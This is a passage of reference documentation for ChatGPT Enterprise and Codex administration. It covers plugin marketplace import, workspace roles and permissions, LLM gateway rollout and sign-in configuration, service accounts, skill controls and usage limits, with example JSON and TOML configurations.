- Restrict company app accounts to authorized workspaces: when activated, verified-domain restrictions prevent users from creating new connections to supported apps with company-domain accounts in personal or other unauthorized workspaces; verifying a domain doesn't activate the restriction, and existing connections aren't automatically disconnected.
- Choose a focused initial set: enable plugins for an approved business need, set each plugin's audience, complete required review; for each connected service record the business owner, permitted data, approved read or write actions, authentication method, and support or removal contact; start with read actions and everyday categories (email, calendar, file and document systems); before enabling write actions identify the plugin owner, review MCP server scopes and service permissions, confirm data access, and document external effects and a recovery path; test with an account that has only the intended permissions.
- Data flow: non-synced data from Chat and deep research is processed transiently and not indexed; synced connections index selected content in advance (the mode doesn't replace chat-retention controls); conversations using these connections remain available through the Compliance API. Connected-service guidance documents encryption in transit and at rest, per-user authorization, role and action controls, restricted network access, and no model training for Business, Enterprise, and Edu customers; the connected service's own policies also apply. For locally configured MCP servers see mcp-config.md.
## Notes
- For an initial rollout, start with everyday plugin categories (email, calendar, file/document systems such as Google Drive or Notion), read-only actions before write access, and review ownership/scopes/data impact first.
- Connectors operate transiently for non-synced use and respect per-user authorization; chats that use plugins remain available through the Compliance API regardless of sync status.
- Business, Enterprise, and Edu customer data isn't used for model training through plugin connectors.
## Related
- [Skill controls](./skill-controls.md)
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [Admin rollout guide](./admin-rollout-guide.md)
references/administration/plugin-management.md
# Plugin management
Workspace admins import a plugin marketplace from GitHub and keep its plugins in sync with the repository. A marketplace is a JSON catalog listing the plugins to import.
## Signature / Usage
Codex marketplace (`.agents/plugins/marketplace.json`) with a local plugin; the path is relative to the selected marketplace root, not `.agents/plugins/`:
```json
{
"name": "team-plugins",
"interface": {
"displayName": "Team plugins"
},
"plugins": [
{
"name": "team-tools",
"source": {
"source": "local",
"path": "./plugins/team-tools"
}
}
]
}
```
Claude-compatible entry:
```json
{
"name": "team-plugins",
"plugins": [
{
"name": "team-tools",
"source": "./plugins/team-tools"
}
]
}
```
Git subdirectory source (`source: "url"` is for a plugin at a repository root):
```json
{
"name": "team-tools",
"source": {
"source": "git-subdir",
"url": "https://github.com/example/team-tools.git",
"path": "./plugins/team-tools",
"ref": "main"
}
}
```
Move an existing plugin to GitHub management by adding `pluginId`:
```json
{
"name": "team-tools",
"pluginId": "plugin_0123456789abcdef0123456789abcdef",
"source": {
"source": "local",
"path": "./plugins/team-tools"
}
}
```
Reference an existing app with `.app.json` at the plugin root (leading dot required):
```json
{
"apps": {
"team-tools": {
"id": "asdk_app_example",
"required": true
}
}
}
```
Native plugin manifest (`.codex-plugin/plugin.json`) pointing at it:
```json
{
"name": "team-tools",
"version": "1.0.0",
"description": "Use the team's approved tools.",
"author": {
"name": "Example team"
},
"apps": "./.app.json",
"interface": {
"displayName": "Team tools",
"shortDescription": "Use approved team tools",
"longDescription": "Connect to the team's existing app.",
"developerName": "Example team",
"category": "Productivity",
"capabilities": ["Read"]
}
}
```
Layout:
```text
team-plugins/
├── .agents/plugins/marketplace.json
└── plugins/team-tools/
├── .codex-plugin/plugin.json
└── .app.json
```
## Options / Props
Import form (Admin > Plugins > Add > Import marketplace):
| Field | Description |
|-------|-------------|
| Source | Repository URL only, such as `https://github.com/example/team-plugins` (no branch or folder URL) |
| Path | Subdirectory containing the marketplace (for example `team-tools`); empty for repository root; don't enter the manifest filename |
| Branch, tag, or commit | Optional; empty uses the default branch. A branch receives future commits; a fixed commit stays at that revision |
Supported files in the selected directory:
| File | Format |
|------|--------|
| `.agents/plugins/marketplace.json` | A Codex marketplace with a `plugins` array |
| `.claude-plugin/marketplace.json` | A Claude-compatible marketplace with a `plugins` array |
| `.claude-plugin/plugin.json` | A standalone Claude plugin, when no marketplace manifest is present |
## Notes
- Use a GitHub account that can read the marketplace repository and every repository it references; public and private repositories are supported, but workspace import currently supports only GitHub. Git sources can select a `ref` or a full 40-character commit `sha`.
- Entries can reference native plugins (`.codex-plugin/plugin.json`), Claude-compatible plugins, Agent Plugins 1.0 packages, or supported skill packages.
- New plugins start with **Available** installation and authentication on install. New marketplaces have automatic daily sync enabled; sync adds any new repository plugins automatically, so review repository changes before merging. Initial import can take up to an hour for very large marketplaces. **Sync now** (Admin > Plugins > Marketplaces) requests an update immediately.
- Import and sync do not apply installation/authentication policies (`AVAILABLE`, `INSTALLED_BY_DEFAULT`, `NOT_AVAILABLE`, `ON_INSTALL`, `ON_USE`); admins configure them per plugin and they are preserved across syncs and when moving a plugin to GitHub management. Importing does not grant app access or connect members' accounts.
- Moving a plugin: copy the ID after `/admin/plugins/` in the plugin's URL; the plugin must be in the same workspace; it keeps ID, sharing, and policies; later archive uploads can no longer replace it; a plugin already managed by another GitHub source cannot be taken over.
- Any imported plugin declaring MCP servers (`mcp.json` / `.mcp.json`, including remote HTTPS URLs and inline declarations) is marked **Desktop only** and works only in the ChatGPT desktop app.
- `.app.json` app IDs start with `asdk_app_`, `connector_`, or `templated_apps_` (use the app ID, not a `plugin_...` ID). The reference does not create an app or grant permissions; existing app permissions, action controls, and service access still apply.
- After a sync, **Completed — N errors** means some plugins couldn't be processed; an invalid update to an existing plugin keeps its last working version. Removing an entry from the repository marks the imported copy **No longer in source** without deleting it; deleting the marketplace in ChatGPT deletes all plugins imported from it.
- Reconnecting GitHub access: marketplace sync uses the importing admin's GitHub connection; that admin reconnects their account. To transfer ownership, the new admin imports the same marketplace with identical Source, Path, and Branch/tag/commit. Don't delete the marketplace to reconnect or change ownership.
- Local client marketplaces can instead be configured via cloud-managed or system `config.toml` (see Managed configuration, "Configure plugin marketplaces and defaults").
- Source: https://learn.chatgpt.com/docs/enterprise/plugin-management (retrieved 2026-10).
## Related
- [Plugin controls](./plugin-controls.md)
- [Skill controls](./skill-controls.md)
- [Managed configuration](./managed-configuration.md)
references/administration/README.md
# administration
| Name | Description | Path |
| --- | --- | --- |
| Access tokens | Create and manage Codex access tokens — ChatGPT workspace credentials scoped to Codex permissions — for programmatic, non-interactive Codex workflows. | [access-tokens.md](./access-tokens.md) |
| Admin rollout guide | Plan, configure, and verify a ChatGPT Enterprise rollout across workspace and developer surfaces, in eight sequential steps. | [admin-rollout-guide.md](./admin-rollout-guide.md) |
| Administration | Set access and policy boundaries for ChatGPT, Codex developer tools, APIs, plugins, and connected systems. This is a hub page: start with workspace identity and access, then configure local runtime policy for supported capabilities in the ChatGPT desktop app, Codex CLI, and IDE extension; Codex cloud eligibility; Platform API access; plugins and connectors; and permissions in connected systems. | [administration.md](./administration.md) |
| Agent Security | Admin Console area for managing Codex/Work policies and configuration. Replaces Policies & Configuration. Each policy has a Global baseline plus optional Local and Codex Cloud environment overrides. | [agent-security.md](./agent-security.md) |
| Analytics API | The Analytics APIs provide aggregated usage and activity metrics for a ChatGPT workspace. The unified Daily Usage Analytics API reports daily ChatGPT, Codex, and Work usage; confirm that the endpoint is enabled for your workspace before using it. | [analytics-api.md](./analytics-api.md) |
| Authentication | Sign-in methods for ChatGPT web and Codex clients (desktop app, CLI, IDE extension) and how sign-in method determines applicable admin controls and data-handling policy. | [authentication.md](./authentication.md) |
| Bedrock through LiteLLM | Route Codex to Amazon Bedrock through a LiteLLM gateway: connect to an existing gateway, or deploy one (Bedrock Runtime route, client catalog, test credential, verification). | [bedrock-through-litellm.md](./bedrock-through-litellm.md) |
| Compliance API and audit events | Understand the purpose and administration boundary of the Compliance API — auditable records for security, legal, governance, and investigation workflows. | [compliance-api.md](./compliance-api.md) |
| Use API/provider credentials through a gateway | Configure Codex on a developer machine to reach an LLM gateway using the gateway URL, model alias, and credential or token resolver your organization provides. | [connect-to-a-gateway.md](./connect-to-a-gateway.md) |
| Gateway compatibility requirements | Responses API behavior an LLM gateway must preserve for the API/provider credential path: endpoints, streaming, continuation, tool calls, authentication, routing, and useful errors. | [gateway-compatibility.md](./gateway-compatibility.md) |
| Governance | Choose the appropriate analytics, usage, and audit surface for each administration question. | [governance.md](./governance.md) |
| Groups and provisioning | Understand group membership sources and their workspace access boundary. | [groups-and-provisioning.md](./groups-and-provisioning.md) |
| Manage app updates | Control how your organization updates the ChatGPT desktop app on macOS and Windows. | [manage-app-updates.md](./manage-app-updates.md) |
| Managed configuration | Enforce runtime requirements across supported local clients (ChatGPT desktop app, Codex CLI, IDE extension) and distribute managed defaults. | [managed-configuration.md](./managed-configuration.md) |
| Plugin controls | Understand plugin availability, connector-backed capabilities, actions, and connected-system access. | [plugin-controls.md](./plugin-controls.md) |
| Plugin management | Workspace admins import a plugin marketplace from GitHub and keep its plugins in sync with the repository. A marketplace is a JSON catalog listing the plugins to import. | [plugin-management.md](./plugin-management.md) |
| Roles and workspace permissions | Separate ChatGPT workspace access from local runtime, API, plugin, and source-system controls. The canonical map of administration boundaries. | [roles-and-workspace-permissions.md](./roles-and-workspace-permissions.md) |
| Roll out a gateway | Administrator guide for rolling out the API/provider credential path through an LLM gateway: configure model routes, issue developer credentials, and distribute a verified Codex configuration. | [roll-out-a-gateway.md](./roll-out-a-gateway.md) |
| Service accounts | Non-human ChatGPT workspace identities for running headless Codex workflows (CI runners, scheduled jobs, shared integrations) with the same groups, roles, access controls, and auditability as people. | [service-accounts.md](./service-accounts.md) |
| Sign in with ChatGPT through a gateway | Keep an existing model gateway while moving Codex to Sign in with ChatGPT, so eligible ChatGPT workspace features and controls (for example voice mode) work alongside the gateway. | [sign-in-with-chatgpt-through-a-gateway.md](./sign-in-with-chatgpt-through-a-gateway.md) |
| Skill controls | Compare ChatGPT workspace, local filesystem, and plugin skill controls. | [skill-controls.md](./skill-controls.md) |
| ChatGPT usage limits and spend controls | Understand when ChatGPT workspace credit controls can affect plan-dependent Codex usage. | [usage-limits.md](./usage-limits.md) |
| Deploy the Windows app | Choose an enterprise installation and update path for the ChatGPT desktop app on Windows. | [windows-deployment.md](./windows-deployment.md) |
| ChatGPT Work admin FAQ | Manage access, data, governance, observability, usage, and incident controls for ChatGPT Work (the Codex-powered, longer multi-step task mode inside ChatGPT). | [work-admin-faq.md](./work-admin-faq.md) |
| Workspace analytics | Compare ChatGPT workspace analytics, Codex analytics, reporting APIs, and audit records. | [workspace-analytics.md](./workspace-analytics.md) |
| Workspace model availability | Separate model access across ChatGPT, Codex in the ChatGPT desktop app, Codex CLI, the IDE extension, Codex cloud, and the OpenAI API Platform. | [workspace-model-availability.md](./workspace-model-availability.md) |
references/administration/roles-and-workspace-permissions.md
# Roles and workspace permissions
Separate ChatGPT workspace access from local runtime, API, plugin, and source-system controls. The canonical map of administration boundaries.
## Overview
Administration spans six control boundaries. Granting access at one boundary doesn't grant access at another.
## Control boundaries
| Boundary | Controls | Doesn't control | Current source |
|----------|----------|------------------|-----------------|
| ChatGPT workspace | Membership, seats, built-in admin roles, role-based access to workspace features | Local agent permissions, Platform API org access, connected-service permissions | ChatGPT workspace access / RBAC (Help Center) |
| Local clients | Runtime behavior for the ChatGPT desktop app, Codex CLI, IDE extension: approvals, filesystem/network access, permission profiles, allowed integrations | A ChatGPT seat, feature/model entitlement, external data access | [Managed configuration](./managed-configuration.md), Permissions |
| Codex cloud | Eligibility for hosted Codex workflows and available cloud environments | Local runtime policy, source-system repo permissions | Cloud environments |
| Platform API | Org/project membership, API keys, model access, usage, billing | ChatGPT workspace membership, local-client access, Codex cloud access | OpenAI API Platform |
| Plugins | Plugin availability/installation, bundled skills, connector access, supported connector actions | Authorization in the connected service, broader local/cloud runtime permissions | [Plugin controls](./plugin-controls.md) |
| Connected systems | Which repos/files/messages/actions the authenticated account can access | ChatGPT workspace, plugin, Codex cloud, Platform API entitlement | The connected service's own admin controls |
## Assign workspace access
- Seat vs admin role vs custom role: a seat determines which product surfaces a member can access (seat types can include ChatGPT and Codex seats). Built-in roles determine administrative authority: **Owner** manages workspace-wide settings, **Admin** manages supported operations and groups, **Member** has no administrative rights, **Analytics Viewer** can access workspace analytics. Custom roles define which supported features a member can use; they don't replace seat or plan eligibility, grant permissions in a connected system, or change local runtime requirements.
- Workspace default, then targeted custom roles: only workspace owners can configure RBAC and create custom roles; roles can be assigned through groups (manual or SCIM-synced) or directly, and a member can receive more than one. For eligible permissions **Default** inherits the workspace setting, **On** grants access through that role, **Off** doesn't grant access through that role; ordinary role permissions combine additively, so review direct and group-received roles. Lockdown Mode and product eligibility apply separately.
- Work Local and Work Cloud: **Work Cloud** governs supported cloud Work tasks; with independent controls, **Work Local** without **Work Cloud** allows local work in the desktop app but not cloud tasks. Local Codex access uses **Allow members to use Codex locally** (**Codex Local**); changing **Use Work locally** doesn't change local Codex access or replace local runtime requirements. Some workspaces show a combined **Codex and Work Local** section (**Allow members to use Codex and Work Locally** controls both). **Cloud browser use** and **Cloud network access** are under Admin Console > Permissions & roles > Workspace capabilities > Cloud computer capabilities, shared by Work Cloud and dots; disabling one doesn't disable the other.
- Codex Cloud: **Use Codex in the cloud** controls access to run tasks in Codex Cloud; **Manage workspace environments** (nested under it, requires Cloud access, off by default) controls creating and editing environments shared with the workspace. Members with Cloud access can create and edit their own personal environments without the management permission; access to a shared environment doesn't grant authority to change its configuration. Verify both workflows with representative identities, each with access to connected repositories and services.
- Computer History: off by default for Business and Enterprise workspaces; members can't turn it on until a workspace owner grants access. Enterprise owners can grant it by role under **Workspace Settings > Permissions & roles > Computer History** (**Enable Computer History**); this only allows assigned members to opt in from the desktop app on macOS and choose which apps and websites contribute.
- Local computer access with Work Cloud (ChatGPT Work): enabled by a workspace owner via **Allow local computer access**, nested under Work Cloud (you don't need **Use Codex locally on the ChatGPT desktop app**); the permission doesn't grant a seat, connected-app access, operating-system permissions, or unrestricted device access.
- Local runtime policy: permission profiles and managed requirements can constrain commands, filesystem access, network access, approvals, and other local runtime behavior for the desktop app, CLI, and IDE extension; they don't change the user's seat, workspace role, model entitlement, or external-system permissions. A local permission profile can restrict a run but can't grant a workspace feature or model. Cloud-managed requirements additionally depend on ChatGPT sign-in and plan eligibility.
## Notes
- A request must pass every applicable boundary. Workspace access can make a plugin available, but the connected service still decides which data the signed-in account can read.
- In workspace settings, **Codex Local** is a grouping label for local access and access-token controls, not a separate product; **Allow members to use Codex Local** covers the ChatGPT desktop app, Codex CLI, and IDE extension.
- Managed configuration is a separate layer constraining supported runtime behavior — it doesn't change seat, workspace role, model entitlement, or external-system permissions.
## Related
- [Admin rollout guide](./admin-rollout-guide.md)
- [Groups and provisioning](./groups-and-provisioning.md)
- [Workspace model availability](./workspace-model-availability.md)
- [Access tokens](./access-tokens.md)
- [Managed configuration](./managed-configuration.md)
- [Authentication](./authentication.md)
references/administration/roll-out-a-gateway.md
# Roll out a gateway
Administrator guide for rolling out the API/provider credential path through an LLM gateway: configure model routes, issue developer credentials, and distribute a verified Codex configuration.
## Signature / Usage
Provider defaults to distribute (put `model` and `model_provider` before the first TOML table):
```toml
model = "gpt-6-sol"
model_provider = "enterprise-gateway"
web_search = "disabled"
[model_providers.enterprise-gateway]
name = "Organization Gateway"
base_url = "https://gateway.example.com/v1"
wire_api = "responses"
[model_providers.enterprise-gateway.auth]
command = "/usr/local/bin/fetch-codex-gateway-token"
args = ["print-token"]
timeout_ms = 30000
refresh_interval_ms = 300000
```
Custom alias with a remote catalog:
```toml
model = "company-coding-model"
model_provider = "enterprise-gateway"
web_search = "disabled"
[model_providers.enterprise-gateway]
name = "Organization Gateway"
base_url = "https://gateway.example.com/v1"
model_catalog_url = "https://gateway.example.com/codex/models.json"
wire_api = "responses"
env_key = "CODEX_GATEWAY_API_KEY"
```
Custom alias with a local catalog:
```toml
model = "company-coding-model"
model_catalog_json = "/absolute/path/to/gateway-models.json"
```
Windows paths (resolved absolute, single-quoted):
```toml
model_catalog_json = 'C:\ProgramData\OpenAI\Codex\models.json'
[model_providers.enterprise-gateway.auth]
command = 'C:\ProgramData\OpenAI\Codex\fetch-gateway-token.cmd'
args = ["print-token"]
```
## Options / Props
Rollout checkpoints, in order: choose model names and verify routes; issue developer credentials; test Codex through the gateway; distribute the configuration; verify from a developer machine.
Test checks (run from the CLI or desktop surface developers will use):
| Check | Action | Passing evidence |
|-------|--------|------------------|
| Connection | Verify the connection per the connect guide | Expected provider and alias active, test prompt succeeds, gateway logs identify the test user |
| Streaming | Ask for a short multi-paragraph answer | SSE forwarded without buffering, incremental text, stream ends with `response.completed` |
| Local tool loop | In a disposable read-only folder, list and summarize top-level files | Local tool call issued, result returned, final answer without edits |
| Follow-up | Ask a follow-up in the same thread | Answer uses the prior turn; replayed input accepted; `previous_response_id` preserved if WebSocket or incremental transport is enabled |
| Errors and attribution | Repeat with an invalid alias or expired credential | Useful routing/authentication error; valid requests attributed to the test user |
Troubleshooting:
| Issue | Remediation |
|-------|-------------|
| Expected provider missing after restart | Inspect the winning configuration layer; user or profile configuration can override system defaults |
| Authentication fails for every user | Check gateway authentication and upstream provider credential; identify which service rejected the request |
| Authentication fails for one user | Check that user's gateway credential or token resolver |
| Streaming stalls | Inspect gateway buffering and terminal `response.completed` forwarding |
| Model missing or generic capabilities | Confirm gateway alias, Codex `model`, and catalog `slug` match; check catalog path and version compatibility; restart Codex |
| Windows path fails | Use resolved absolute paths; single-quoted TOML strings for single backslashes |
## Notes
- Prerequisites: gateway serving HTTPS at the exact base URL, upstream provider credential held by the gateway, approved Codex-facing aliases mapped to upstream models, a scoped test credential, a secret delivery mechanism or tested credential helper, and a way to distribute configuration, helpers, and catalog files.
- The gateway must accept `POST /v1/responses`, stream SSE without buffering ending with `response.completed`, preserve follow-up continuation with replayed input, preserve `previous_response_id` only when WebSocket or incremental transport is enabled, preserve function calls and matching `function_call_output` items, route each alias to the intended model, and authenticate users separately. A health endpoint, `/v1/models`, Chat Completions response, or one plain-text reply does not qualify a gateway.
- Custom alias: create the alias on the gateway, download the Codex model catalog (`codex-rs/models-manager/models.json`) matching your Codex version's `rust-v<version>` tag (`codex --version`; for desktop match the bundled CLI version), set the entry's `slug` to the alias, and set `upgrade` to `null` for an alias without a migration. Keep entries in the top-level `models` array and include every selectable model. Without a matching entry Codex uses generic settings.
- Remote catalog endpoint requirements: accept `GET` at the configured URL including the `client_version` query parameter and any provider `query_params`; accept the provider's authentication and headers; return a top-level `models` array with complete version-matched metadata and a unique nonempty `slug` per entry; return JSON directly without redirects, within 1 MiB. Discovery requires API-key, command-backed, or Codex-backend authentication (custom headers alone don't trigger it). Remove any effective `model_catalog_json`, including via `requirements.toml`, which takes precedence over the URL. Restart the client after changes.
- A local custom catalog replaces the bundled catalog; Codex loads it at startup.
- Credentials: issue one scoped gateway credential per developer; set approved models, rate limits, budget, expiration, and renewal; keep upstream provider and gateway administrator credentials off developer machines. Static key variant: remove the auth block and set `env_key = "CODEX_GATEWAY_API_KEY"` in the provider table (never combine `env_key` with command-backed auth).
- Distribution: host-wide defaults at `/etc/codex/config.toml` (macOS/Linux) or `%ProgramData%\OpenAI\Codex\config.toml` (Windows); users and profiles can override. To enforce a remote catalog URL put the complete provider definition in `requirements.toml` under `[model_providers.<id>]` (it replaces the matching ordinary provider table); use the `model_provider` requirement to enforce selection. A `model_catalog_json` requirement pins the path but does not distribute the file. Codex doesn't expand `%ProgramData%` inside `model_catalog_json` or auth `command` values. A CLI inside WSL reads Linux paths and Linux `CODEX_HOME`. Project-local `.codex/config.toml` cannot override sensitive provider or authentication routing keys; manual setup is not an enforcement channel.
- Reusing an existing Claude Code gateway: keep gateway product, DNS, TLS, networking, logging, and Bedrock access; add a Codex-facing Responses route, credential, aliases, and `config.toml`. `/v1/messages`, Anthropic headers, and Claude settings don't configure Codex. Codex does not support `apiKeyHelper`; use `env_key` or a command-backed resolver. Migration steps: inventory the Claude path, add a parallel Responses route and aliases, issue one scoped Codex credential, configure one developer, run the connection and full checks, then distribute.
- Model routing and tool authorization are separate; configure MCP connections and plugin distribution separately. A `/v1/models` response doesn't prove a model supports the required behavior.
- Reference implementations: the `openai-on-aws/guidance-codex` repository (pinned commit `adbc00f353effbf0252e667ba41eb89c99324c8f` in the source page).
- Source: https://learn.chatgpt.com/docs/enterprise/roll-out-a-gateway (retrieved 2026-10).
## Related
- [Use API/provider credentials through a gateway](./connect-to-a-gateway.md)
- [Gateway compatibility requirements](./gateway-compatibility.md)
- [Sign in with ChatGPT through a gateway](./sign-in-with-chatgpt-through-a-gateway.md)
- [Bedrock through LiteLLM](./bedrock-through-litellm.md)
- [Managed configuration](./managed-configuration.md)
references/administration/service-accounts.md
# Service accounts
Non-human ChatGPT workspace identities for running headless Codex workflows (CI runners, scheduled jobs, shared integrations) with the same groups, roles, access controls, and auditability as people.
## Signature / Usage
Requires Codex CLI `0.142.0` or later.
```bash
export CODEX_ACCESS_TOKEN="<service-account-access-token>"
codex exec --json "Inspect this repository and summarize its current state."
```
Save a login on a trusted machine:
```bash
printf '%s' "$CODEX_ACCESS_TOKEN" | codex login --with-access-token
codex exec "Summarize the changes in the current branch."
```
Create a token through the Admin API (`ttl` in seconds; finite lifetime must be under one year):
```json
{
"name": "production-release-runner",
"ttl": 2592000,
"scopes": ["chatgpt.workspace.feature.allow-codex-local-access.access"]
}
```
SCIM provisioning (`userType` set to `ServiceAccount`):
```json
{
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"userName": "svc-codex-release@company.example",
"displayName": "Codex release automation",
"active": true,
"userType": "ServiceAccount"
}
```
## Options / Props
Shared-account roles (for people managing the account):
| Role | Configure account and plugins | Create service-account access tokens |
|------|-------------------------------|--------------------------------------|
| User | No | Yes |
| Configure | Yes | No |
| Manager | Yes | Yes |
Admin API accounts:
| Operation | Method | What it does |
|-----------|--------|--------------|
| List accounts | `GET` | Returns workspace service accounts |
| Create an account | `POST` | Creates a named service account (`POST /v1/manage/workspaces/{workspace_id}/service-accounts`) |
| Get an account | `GET` | Returns one service account |
| Enable or disable an account | `PATCH` | Updates only `enabled` |
| Delete an account | `DELETE` | Removes the account and revokes its tokens |
Admin API tokens:
| Operation | Method | What it does |
|-----------|--------|--------------|
| List tokens | `GET` | Returns token metadata |
| Create a token | `POST` | Creates a scoped access token |
| Revoke a token | `DELETE` | Permanently revokes one token |
## Notes
- Available only on pay-as-you-go plans. Only workspace owners and admins can create, delete, or share service accounts.
- Create via Workspace settings > Service accounts (`https://chatgpt.com/admin/service-accounts`). The account does not inherit the creator's plugins, connected apps, or permissions; configure plugins and assign roles/groups directly. The **User** role cannot set up plugins.
- A service account token represents the service account; a personal access token represents the member who creates it. API Platform project service accounts and API keys use separate project access and billing.
- The full token is shown only once; store it in a secret manager. Workspace policies control available expirations.
- Admin API: read operations need `chatgpt.enterprise.service_account.read`, changes need `chatgpt.enterprise.service_account.write`. A service-account token cannot authenticate Admin API requests. Shared-account role values are `manager`, `configurer`, `user`.
- SCIM-managed accounts cannot be renamed or deleted in ChatGPT; the identity provider manages name, group membership, and lifecycle.
- Disabling or deleting an account revokes all active tokens. Disabled accounts can be re-enabled with new tokens; deletion cannot be undone.
- On shared or temporary runners use `CODEX_ACCESS_TOKEN` without saving a login.
- Source: https://learn.chatgpt.com/docs/enterprise/service-accounts (retrieved 2026-10).
## Related
- [Access tokens](./access-tokens.md)
- [Authentication](./authentication.md)
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [Groups and provisioning](./groups-and-provisioning.md)
- [Governance](./governance.md)
- [Compliance API](./compliance-api.md)
references/administration/sign-in-with-chatgpt-through-a-gateway.md
# Sign in with ChatGPT through a gateway
Keep an existing model gateway while moving Codex to Sign in with ChatGPT, so eligible ChatGPT workspace features and controls (for example voice mode) work alongside the gateway.
## Signature / Usage
Existing command-backed gateway auth places the gateway key in `Authorization`; with ChatGPT sign-in that header carries the ChatGPT token, so the gateway credential moves elsewhere. Add the provider to the workspace's cloud-managed `requirements.toml`.
Option A: reuse the credential command through a launch helper (gateway key sent in a separate header). Remove the `auth` block; command-backed auth cannot be combined with `requires_openai_auth = true`.
```toml
# requirements.toml
model_provider = "enterprise_gateway"
[model_providers.enterprise_gateway]
name = "Enterprise gateway"
base_url = "https://gateway.example.com/backend-api/codex" # Keep the gateway route.
requires_openai_auth = true # Use the ChatGPT credential for OpenAI.
env_http_headers = { "X-Gateway-Key" = "GATEWAY_KEY" } # Send the same gateway key separately.
```
```sh
codex_with_gateway() (
set -eu
GATEWAY_KEY=$(/usr/local/bin/fetch-gateway-token)
test -n "$GATEWAY_KEY"
export GATEWAY_KEY
exec codex "$@"
)
codex_with_gateway
```
Resulting request headers:
```http
Authorization: Bearer <ChatGPT token>
ChatGPT-Account-ID: <workspace ID, when available>
X-Gateway-Key: <same gateway key returned by your command>
```
Option B: native gateway OAuth (authorization code with PKCE, public client):
```toml
# requirements.toml
model_provider = "enterprise_gateway"
[model_providers.enterprise_gateway]
name = "Enterprise gateway"
base_url = "https://gateway.example.com/backend-api/codex" # Keep the gateway route.
requires_openai_auth = true # Use the ChatGPT credential for OpenAI.
[model_providers.enterprise_gateway.gateway_oauth] # Add gateway OAuth.
authorization_url = "https://login.example.com/oauth/authorize"
token_url = "https://login.example.com/oauth/token"
client_id = "YOUR_PUBLIC_CLIENT_ID"
delivery = { kind = "cookie", name = "auth-openid" } # Add gateway auth as a cookie.
# redirect_port = 43127
```
Optional routing headers (either option):
```toml
[model_providers.enterprise_gateway.http_headers]
x-portkey-config = "<gateway-routing-config-id>"
x-portkey-metadata = '{"tool_id":"codex"}'
```
## Notes
- The gateway's Codex-compatible base URL must proxy `/models` and `/responses` to `https://chatgpt.com/backend-api/codex`. These requirements apply after users sign in with ChatGPT and don't restrict other sign-in methods.
- Option A: the helper runs once per launch; Codex does not rerun it or refresh the header, so relaunch after the key expires. If `GATEWAY_KEY` is empty, Codex omits `X-Gateway-Key`. For desktop, your launch integration must supply `GATEWAY_KEY` to the app process. The gateway must accept `X-Gateway-Key`, validate it, and remove it before forwarding.
- Option B: the gateway needs an OAuth authorization server. Codex uses a free loopback port by default; if the identity provider requires a fixed redirect URI set `redirect_port` and register `http://127.0.0.1:43127/callback` (for the example port). It needs a browser and reachable loopback callback, has no device-code fallback, and without a refresh token users repeat browser sign-in when the access token expires.
- Use `env_http_headers` for routing header values read from the Codex process environment; test that the gateway receives both headers and selects the intended route.
- Codex sends the ChatGPT `Authorization` header, any `ChatGPT-Account-ID`, and the gateway header or cookie; the gateway verifies and removes its credential and forwards the ChatGPT headers unchanged. The gateway can see request data and both credentials: redact them in logs and never forward gateway credentials upstream.
- Requires a Codex build that supports managed model-provider requirements (and native gateway OAuth for Option B); older builds may ignore or reject unsupported fields.
- This route covers model-provider requests only; ChatGPT sign-in, MCP, plugins, and other app connections can use different paths. A generic OpenAI `/v1/models` response is insufficient: Codex expects a `models` array.
- Voice: this setup does not enable ChatGPT Voice. The experimental `experimental_realtime_webrtc_call_base_url` setting in `~/.codex/config.toml` changes only the HTTP base URL for call creation, not the sideband connection, media, or model requests; verify with OpenAI before use.
- Source: https://learn.chatgpt.com/docs/enterprise/sign-in-with-chatgpt-through-a-gateway (retrieved 2026-10).
## Related
- [Use API/provider credentials through a gateway](./connect-to-a-gateway.md)
- [Roll out a gateway](./roll-out-a-gateway.md)
- [Gateway compatibility requirements](./gateway-compatibility.md)
- [Managed configuration](./managed-configuration.md)
references/administration/skill-controls.md
# Skill controls
Compare ChatGPT workspace, local filesystem, and plugin skill controls.
## Overview
Skills are reusable workflows made from instructions and supporting resources. ChatGPT workspace Skills, filesystem skills used by local clients (desktop app / CLI / IDE extension), and plugins that package skills each have separate lifecycle and access controls.
## Distribution models
| Distribution model | Use it for | Administration boundary |
|---------------------|-------------|--------------------------|
| ChatGPT workspace Skill | Sharing/installing an approved workflow through ChatGPT workspace features | ChatGPT workspace skill permissions and lifecycle controls |
| Local filesystem skill | Loading an installed workflow from a repository, user, admin, or bundled location | Filesystem distribution, local client configuration, runtime permissions |
| Plugin | Packaging one or more skills with optional connectors, MCP servers, hooks, metadata | Plugin availability/installation + separate controls for every bundled capability |
## Notes
- Moving a skill between distribution models doesn't transfer ChatGPT workspace ownership, sharing, role assignments, plugin installation state, or connector authorization — configure each capability through the control surface that owns it.
- Plugins work in Chat and Work across ChatGPT on the web, desktop, and mobile, in Codex in the ChatGPT desktop app, and through the Codex CLI plugin browser — not in the IDE extension. Those surfaces draw public plugins from one universal directory shared by ChatGPT and Codex. (An earlier revision of this page said plugins were not available in Chat or mobile; the current official page lists them.)
- ChatGPT workspace controls don't install local filesystem skills or plugins; filesystem distribution doesn't assign ChatGPT workspace ownership or roles; plugin installation doesn't grant access to a connector, MCP server, or connected service. See build-skills.md for filesystem locations and authoring.
## Related
- [Plugin controls](./plugin-controls.md)
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [Admin rollout guide](./admin-rollout-guide.md)
references/administration/usage-limits.md
# ChatGPT usage limits and spend controls
Understand when ChatGPT workspace credit controls can affect plan-dependent Codex usage.
## Overview
These controls apply to "eligible activity under the plan for the workspace" — potentially including some Codex usage, depending on the subscription tier — when an organization uses shared or purchased ChatGPT workspace credits. They operate independently from OpenAI API Platform billing.
## Ultrafast mode
GPT-6 Astra Ultrafast is off by default in eligible Enterprise workspaces. Workspace owners can enable it through workspace permissions (see roles-and-workspace-permissions.md). Existing per-user spend limits apply to eligible Ultrafast usage; review those limits before enabling access because the higher usage rates can consume a user's budget faster. See speed.md (agent-configuration category) for plan eligibility and billing details.
## Notes
- Usage controls don't determine feature entitlement or permissions, though exhausted limits may restrict access to features.
- They don't govern permissions in source systems or affect Platform API usage.
- Enterprise and Education plans, and Business plans, have separate dedicated management/credit-and-spend procedures — check current Help Center guidance for the applicable plan type.
## Related
- [Admin rollout guide](./admin-rollout-guide.md)
- [Governance](./governance.md)
- [Workspace analytics](./workspace-analytics.md)
- [ChatGPT Work admin FAQ](./work-admin-faq.md)
references/administration/windows-deployment.md
# Deploy the Windows app
Choose an enterprise installation and update path for the ChatGPT desktop app on Windows.
## Overview
